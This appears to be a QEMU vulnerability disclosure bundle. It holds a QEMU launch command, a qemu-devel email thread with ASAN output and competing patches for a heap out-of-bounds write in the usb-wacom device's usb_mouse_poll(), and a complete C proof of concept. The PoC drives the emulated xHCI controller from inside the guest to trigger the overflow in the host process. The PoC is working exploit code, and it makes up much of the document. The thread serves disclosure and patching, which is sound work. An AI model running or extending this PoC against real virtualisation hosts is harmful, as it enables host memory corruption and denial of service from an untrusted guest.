Qemu cmd and guest poc /home/test/qemu/qemu-7.1.0/build/qemu-system-x86_64 -kernel /home/test/kernel/linux-5.10/arch/x86/boot/bzImage -initrd /home/test/rootfs/rootfs.cpio_root -append "root=/dev/ram rw console=tty console=ttyS0 nokaslr" -m 512M -nographic -monitor /dev/null -drive file=null-co://,if=none,format=raw,id=disk0 -device qemu-xhci,id=xhci -device usb-tablet,bus=xhci.0 -device usb-mouse -device usb-wacom-tablet
-----邮件原件----- 发件人: Mauro Matteo Cascella [mailto:mcasc...@redhat.com] 发送时间: 2023年2月14日 18:48 收件人: Philippe Mathieu-Daudé <phi...@linaro.org> 抄送: qemu-devel@nongnu.org; kra...@redhat.com; ningqiang (A) <ningqia...@huawei.com>; soul chen <soulchen8...@gmail.com> 主题: Re: [PATCH] usb/dev-wacom: fix OOB write in usb_mouse_poll() Hi Philippe, On Mon, Feb 13, 2023 at 7:26 PM Philippe Mathieu-Daudé <phi...@linaro.org> wrote: > > Hi Mauro, > > On 13/2/23 18:41, Mauro Matteo Cascella wrote: > > The guest can control the size of buf; an OOB write occurs when buf > > is 1 or 2 bytes long. Only fill in the buffer as long as there is > > enough space, throw away any data which doesn't fit. > > Any reproducer? No qtest reproducer, we do have a PoC module to compile & load from within the guest. This is ASAN output: ================================================================= ==28803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0 WRITE of size 1 at 0x602000fccdd1 thread T2 #0 0x560f4ebba899 in usb_mouse_poll ../hw/usb/dev-wacom.c:256 #1 0x560f4ebbcaf9 in usb_wacom_handle_data ../hw/usb/dev-wacom6 #2 0x560f4eaef297 in usb_device_handle_data ../hw/usb/bus.c:180 #3 0x560f4eb00bbb in usb_process_one ../hw/usb/core.c:406 #4 0x560f4eb01883 in usb_handle_packet ../hw/usb/core.c:438 #5 0x560f4eb94e0c in xhci_submit ../hw/usb/hcd-xhci.c:1801 #6 0x560f4eb9505f in xhci_fire_transfer ../hw/usb/hcd-xhci.c:10 #7 0x560f4eb9773c in xhci_kick_epctx ../hw/usb/hcd-xhci.c:1969 #8 0x560f4eb953f2 in xhci_kick_ep ../hw/usb/hcd-xhci.c:1835 #9 0x560f4eba416d in xhci_doorbell_write ../hw/usb/hcd-xhci.c:7 #10 0x560f4f5343a8 in memory_region_write_accessor ../softmmu/2 #11 0x560f4f53483f in access_with_adjusted_size ../softmmu/mem4 #12 0x560f4f541e69 in memory_region_dispatch_write ../softmmu/4 #13 0x560f4f57afec in flatview_write_continue ../softmmu/physm5 #14 0x560f4f57b40f in flatview_write ../softmmu/physmem.c:2867 #15 0x560f4f579617 in subpage_write ../softmmu/physmem.c:2501 #16 0x560f4f5346dc in memory_region_write_with_attrs_accessor 3 #17 0x560f4f53483f in access_with_adjusted_size ../softmmu/mem4 #18 0x560f4f542075 in memory_region_dispatch_write ../softmmu/1 #19 0x560f4f727735 in io_writex ../accel/tcg/cputlb.c:1429 #20 0x560f4f72c19d in store_helper ../accel/tcg/cputlb.c:2379 #21 0x560f4f72c5ec in full_le_stl_mmu ../accel/tcg/cputlb.c:247 #22 0x560f4f72c62a in helper_le_stl_mmu ../accel/tcg/cputlb.c:3 #23 0x7fcf063941a3 (/memfd:tcg-jit (deleted)+0x27541a3) <cut> Also forgot to give credits: Reported-by: ningqiang1 <ningqia...@huawei.com> Reported-by: SorryMybad of Kunlun Lab <soulchen8...@gmail.com> > > Signed-off-by: Mauro Matteo Cascella <mcasc...@redhat.com> > > --- > > hw/usb/dev-wacom.c | 20 +++++++++++++------- > > 1 file changed, 13 insertions(+), 7 deletions(-) > > > > diff --git a/hw/usb/dev-wacom.c b/hw/usb/dev-wacom.c index > > 7177c17f03..ca9e6aa82f 100644 > > --- a/hw/usb/dev-wacom.c > > +++ b/hw/usb/dev-wacom.c > > @@ -252,14 +252,20 @@ static int usb_mouse_poll(USBWacomState *s, uint8_t > > *buf, int len) > > if (s->buttons_state & MOUSE_EVENT_MBUTTON) > > b |= 0x04; > > > > - buf[0] = b; > > - buf[1] = dx; > > - buf[2] = dy; > > - l = 3; > > - if (len >= 4) { > > - buf[3] = dz; > > - l = 4; > > + l = 0; > > + if (len > l) { > > + buf[l++] = b; > > } > > + if (len > l) { > > + buf[l++] = dx; > > + } > > else { // the packet is now corrupted... } > > > + if (len > l) { > > + buf[l++] = dy; > > + } > > + if (len > l) { > > + buf[l++] = dz; > > + } > > + > > return l; > > } > > Better is to wait for enough data to process: > > -- >8 -- > diff --git a/hw/usb/dev-wacom.c b/hw/usb/dev-wacom.c index > 7177c17f03..2fe2a9220e 100644 > --- a/hw/usb/dev-wacom.c > +++ b/hw/usb/dev-wacom.c > @@ -244,6 +244,9 @@ static int usb_mouse_poll(USBWacomState *s, > uint8_t *buf, int len) > s->dy -= dy; > s->dz -= dz; > > + if (len < 3) > + return 0; > + > b = 0; > if (s->buttons_state & MOUSE_EVENT_LBUTTON) > b |= 0x01; > @@ -274,6 +277,9 @@ static int usb_wacom_poll(USBWacomState *s, > uint8_t *buf, int len) > s->mouse_grabbed = 1; > } > > + if (len < 7) > + return 0; > + > b = 0; > if (s->buttons_state & MOUSE_EVENT_LBUTTON) > b |= 0x01; > @@ -282,9 +288,6 @@ static int usb_wacom_poll(USBWacomState *s, > uint8_t *buf, int len) > if (s->buttons_state & MOUSE_EVENT_MBUTTON) > b |= 0x20; /* eraser */ > > - if (len < 7) > - return 0; > - > buf[0] = s->mode; > buf[5] = 0x00 | (b & 0xf0); > buf[1] = s->x & 0xff; > --- > I took inspiration from hid_pointer_poll() in hw/input/hid.c which fills in the buffer as much as possible in a similar way, but your suggestion makes sense to me. Gerd, wdyt? Thanks, -- Mauro Matteo Cascella Red Hat Product Security PGP-Key ID: BB3410B0
#include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <stdbool.h> #include <netinet/in.h> #define IOBASE 0xc040 #define USB_PIC_FILE "/sys/devices/pci0000:00/0000:00:04.0/resource0" #define USBCMD_RS (1<<0) #define USBCMD_HCRST (1<<1) #define USBCMD_INTE (1<<2) #define USBCMD_HSEE (1<<3) #define USBCMD_LHCRST (1<<7) #define USBCMD_CSS (1<<8) #define USBCMD_CRS (1<<9) #define USBCMD_EWE (1<<10) #define USBCMD_EU3S (1<<11) #define TRB_TR_ENT (1<<1) #define TRB_TR_ISP (1<<2) #define TRB_TR_NS (1<<3) #define TRB_TR_CH (1<<4) #define TRB_TR_IOC (1<<5) #define TRB_TR_IDT (1<<6) #define TRB_TYPE_SHIFT 10 #define TRB_CR_SLOTID_SHIFT 24 #define TRB_CR_SLOTID_MASK 0xff #define TRB_CR_EPID_SHIFT 16 #define TRB_CR_EPID_MASK 0x1f #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define USB_TOKEN_IN 0x69 // device -> host #define USB_TOKEN_SETUP 0x2d #define USB_TOKEN_OUT 0xe1 #define EP_TYPE_SHIFT 3 #define TRB_C (1<<0) typedef enum TRBType { TRB_RESERVED = 0, TR_NORMAL, TR_SETUP, //2 TR_DATA, TR_STATUS, //4 TR_ISOCH, TR_LINK, //6 TR_EVDATA, TR_NOOP, CR_ENABLE_SLOT, CR_DISABLE_SLOT, CR_ADDRESS_DEVICE, CR_CONFIGURE_ENDPOINT, CR_EVALUATE_CONTEXT, CR_RESET_ENDPOINT, CR_STOP_ENDPOINT, CR_SET_TR_DEQUEUE, CR_RESET_DEVICE, CR_FORCE_EVENT, CR_NEGOTIATE_BW, CR_SET_LATENCY_TOLERANCE, CR_GET_PORT_BANDWIDTH, CR_FORCE_HEADER, CR_NOOP, ER_TRANSFER = 32, ER_COMMAND_COMPLETE, ER_PORT_STATUS_CHANGE, ER_BANDWIDTH_REQUEST, ER_DOORBELL, ER_HOST_CONTROLLER, ER_DEVICE_NOTIFICATION, ER_MFINDEX_WRAP, CR_VENDOR_NEC_FIRMWARE_REVISION = 49, CR_VENDOR_NEC_CHALLENGE_RESPONSE = 50, } TRBType; typedef enum EPType { ET_INVALID = 0, ET_ISO_OUT, ET_BULK_OUT, ET_INTR_OUT, ET_CONTROL, ET_ISO_IN, ET_BULK_IN, ET_INTR_IN, } EPType; typedef uint64_t dma_addr_t; struct xhcitrb { uint64_t parameter; uint32_t status; uint32_t control; dma_addr_t addr; bool ccs; }; char *dmabuf, *mmio_xhci; uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; int fd = open("/proc/self/pagemap", O_RDONLY ); if (fd < 0) { perror("open(/proc/self/pagemap)"); exit(1); } offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); close( fd ); if (!(pme & PFN_PRESENT)) return -1; gfn = pme & PFN_PFN; return gfn; } uint32_t page_offset(uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1); } uint64_t virt_to_phys(void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); } void xchi_write(uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_xhci + addr)) = value; } uint64_t xchi_read(uint32_t addr) { return *((uint64_t *)(mmio_xhci + addr)); } int init() { int xhci_fd = open(USB_PIC_FILE, O_RDWR | O_SYNC); if( xhci_fd < 0 ) { perror("xhci_fd open failed"); return -1; } mmio_xhci = (char *)mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, xhci_fd, 0); if( mmio_xhci == MAP_FAILED ) { perror("mmap mmio_xhci failed"); return -1; } printf( "mmap(xhci_fd) ok,mmio_xhci=%p\n", (void *)mmio_xhci ); dmabuf = (char *)mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) { perror("mmap(0x5000)"); return -1; } //printf( "mmap(dmabuf) ok,dmabuf=%p\n", dmabuf ); mlock( dmabuf, 0x2000 ); } //ok, heap oob-write in usb_mouse_poll() //(gdb) p/x buf =$1 = 0x7fff8c8b4b20 //(gdb) p/x len = $2 = 0x1 int heap_oob_write() { int i; uint32_t *ctx, *tmp; uint64_t phy_cmd, phy_ctx; struct xhcitrb *trb; unsigned int port, epid, streamid, slotid; uint64_t setup_len,request,value,index; //xhci_run xchi_write( 0x40, USBCMD_RS ); phy_cmd = virt_to_phys( dmabuf ); phy_ctx = virt_to_phys( dmabuf+0x1400 ); printf( "phy_cmd=0x%lx,phy_ctx=0x%lx\n", phy_cmd, phy_ctx ); //set xhci->crcr_low&crcr_high, call xhci_ring_init() xchi_write( 0x40+0x18, phy_cmd&0x00000000ffffffff ); xchi_write( 0x40+0x1c, (phy_cmd&0xffffffff00000000)>>32 ); trb = (struct xhcitrb *)dmabuf; ctx = (uint32_t *)(dmabuf+0x1400); //one trb enable one port trb = (struct xhcitrb *)(dmabuf); //enable port=3 trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1; trb = (struct xhcitrb *)(dmabuf+0x10); //enable port=4 trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1; trb = (struct xhcitrb *)(dmabuf+0x20); //enable port=5 trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1; trb = (struct xhcitrb *)(dmabuf+0x30); //enable port=6 trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1; trb = (struct xhcitrb *)(dmabuf+0x40); //enable port=7 trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1; //xhci_process_commands ---> xhci_enable_slot xchi_write( 0x2000, 0 ); //p xhci->slots[1].eps = {0x7fffe43d6570, 0x0, 0x7fffe437d370} //epid must be 1, for xhci_enable_ep() in xhci_address_slot epid = 0x3; //slotid = 0x2; //xhci->slots[i].uport = desc_device_wacom slotid = 0x3; //port=6+1 for desc_device_wacom, gdb in xhci_lookup_uport() port = 0x7; streamid = 3; //xhci_process_commands --> xhci_address_slot trb = (struct xhcitrb *)(dmabuf+0x50); //start form 0x40+0x10=0x50 trb->parameter = phy_ctx; trb->control = (CR_ADDRESS_DEVICE<<TRB_TYPE_SHIFT) |(epid<<TRB_CR_EPID_SHIFT) |(slotid<<TRB_CR_SLOTID_SHIFT)|0x1; ctx[0] = 0x0; ctx[1] = 0x3; ctx[8] = 0x0; ctx[9] = port<<16; //port=6+1 for desc_device_wacom, gdb in xhci_lookup_uport() //ictx+32+(32*i), (32+32)/4=16 ctx[16+0] = 0x0; //max_pstreams ctx[16+1] = 0x10<<16; //max_psize ctx[16+2] = phy_cmd+0x800; //dequeue ctx[16+3] = 0; //dequeue //xhci_process_commands --> xhci_configure_slot trb = (struct xhcitrb *)(dmabuf+0x60); trb->parameter = phy_ctx+0x200; trb->control = (CR_CONFIGURE_ENDPOINT<<TRB_TYPE_SHIFT) |(epid<<TRB_CR_EPID_SHIFT) |(slotid<<TRB_CR_SLOTID_SHIFT)|0x1; //0x200/4=0x80 ctx[0x80+0] = 0x0; ctx[0x80+1] = 0x1|1<<2|1<<3|1<<4|1<<5|1<<6; for( i=1; i<5; i++ ) { //dma_addr_t ictx, ictx+32+(32*i), (32+32)/4=16 ctx[0x80+8+8*i+0] = 0x1<<10|0x1<<15; //max_pstreams(ctx[0] >> 10) & epctx->lsa(ctx[0] >> 15) ctx[0x80+8+8*i+1] = ET_BULK_IN<<EP_TYPE_SHIFT; //epctx->type ctx[0x80+8+8*i+2] = phy_cmd+0x600; //ep_ctx, dequeue ctx[0x80+8+8*i+3] = 0; //dequeue } //for phy_cmd+0x600, make xhci_kick_epctx -> xhci_ring_fetch() ok trb = (struct xhcitrb *)(dmabuf+0x600); trb->control = (TR_STATUS<<TRB_TYPE_SHIFT)|TRB_TR_IDT; //ccs = 0x0 trb->status = 0x8; trb->parameter = 0x1; //stctx[i].pctx = base + streamid * 16;, streamid=3,stctx[3].pctx=dmabuf+0x600+0x30 tmp = (uint32_t *)(dmabuf+0x600+streamid*16); tmp[0] = 1<<1|phy_cmd+0x800; //set ring->->dequeue=phy_cmd+0x800 tmp[1] = 0; //ctx[1]=0 xchi_write( 0x2000, 0 ); request = 0x11; value = 0x22; index = 0x33; setup_len = 0x40; //first TR_SETUP, second TR_STATUS trb = (struct xhcitrb *)(dmabuf+0x800); trb->control = (TR_SETUP<<TRB_TYPE_SHIFT)|TRB_TR_IDT|TRB_C; //ccs = 0x1 trb->status = 0x8; trb->parameter = 0x8|0x80|(setup_len&0xff)<<48|(setup_len&0xff00)<<56|(request&0xff)<<8|(value&0xff)<<16|(index&0xff)<<32; //0x80 for xfer->in_xfer=USB_TOKEN_IN printf( "parameter=0x%lx\n", trb->parameter ); trb = (struct xhcitrb *)(dmabuf+0x810); trb->control = (TR_NORMAL<<TRB_TYPE_SHIFT)|TRB_C; //ccs = 0x1 //set q->iov.iov_len=0x1, in usb_mouse_poll(), buf[2] = dy; will oob-write trb->status = 0x1; //chunk = trb->status, for qsg->sg.len= trb->status, q->iov.iov_len=qsg->sg.len=trb->status. trb->parameter = phy_cmd+0x1000; trb = (struct xhcitrb *)(dmabuf+0x820); trb->control = (TR_STATUS<<TRB_TYPE_SHIFT)|TRB_TR_IDT|TRB_C; //ccs = 0x1 trb->status = 0x8; //xhci_doorbell_write xchi_write( 0x2000+slotid*4, epid|streamid<<16 ); return 0; } int main( int argc, char *argv[] ) { iopl(3); init(); heap_oob_write(); getchar(); return 0; }